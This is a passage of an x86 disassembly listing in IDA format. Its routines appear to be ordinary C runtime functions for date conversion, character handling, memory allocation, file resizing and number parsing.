arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_43C020[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------

loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_43C054[esi]

loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------

loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_43C024[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------

loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_43C058[esi]

loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------

loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_43C020[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------

loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_43C054[eax*4]

loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]

loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_43C00C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43C008, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C010, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------

loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43C01C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43BF78
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C020, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43C020, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------

loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_43C020, eax

loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_43C01C, ecx

loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_43C018, ebx

loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx

loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax

loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_48A0A8, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax

loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, off_4395A0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_4397AC
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_48A0B8
		call	near ptr 2620000h
		nop
		test	eax, eax
		mov	eax, dword_4397AC
		jnz	short loc_420EBD

loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD

loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB

loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax

loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax

loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: sub_41F12F+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_48B561[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_4395AA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------

loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax

loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------

loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_48A2DC, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26F0825h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_48A2DC, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_48A2E0, eax
		call	esi
		mov	dword_48A2E4, eax

loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_48A2E0
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_48A2E4
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax

loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_48A2DC

loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi

loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_48B680
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------

loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_43B7E4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192

loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_48B684
		nop
		call	near ptr 2710000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C

loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_48A074, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------

loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]

loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi

loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------

loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7

loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_48B320, esi
		jle	short loc_4211EC

loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi

loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_48A310
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_48A310
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_4211A8

loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_48B440
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi

loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------

loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_48A018, 5
		jnz	short loc_4212C3
		mov	dword_48A014, 0Dh

loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh

loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------

loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25B0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_48A014, 0Dh
		call	near ptr 2650C45h
		nop
		mov	dword_48A018, eax

loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------

loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_48A014, 9

loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh

loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350

loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax

loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]

loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]

loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax

loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi

loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------

loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h

loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------

loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C

loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------

loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi

loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump

loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553

loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------

loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_4397B0
		jnz	short loc_421562

loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------

loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C

loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_4397B0
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B

loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B

loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E8:				; CODE XREF: sub_4214D8+63j
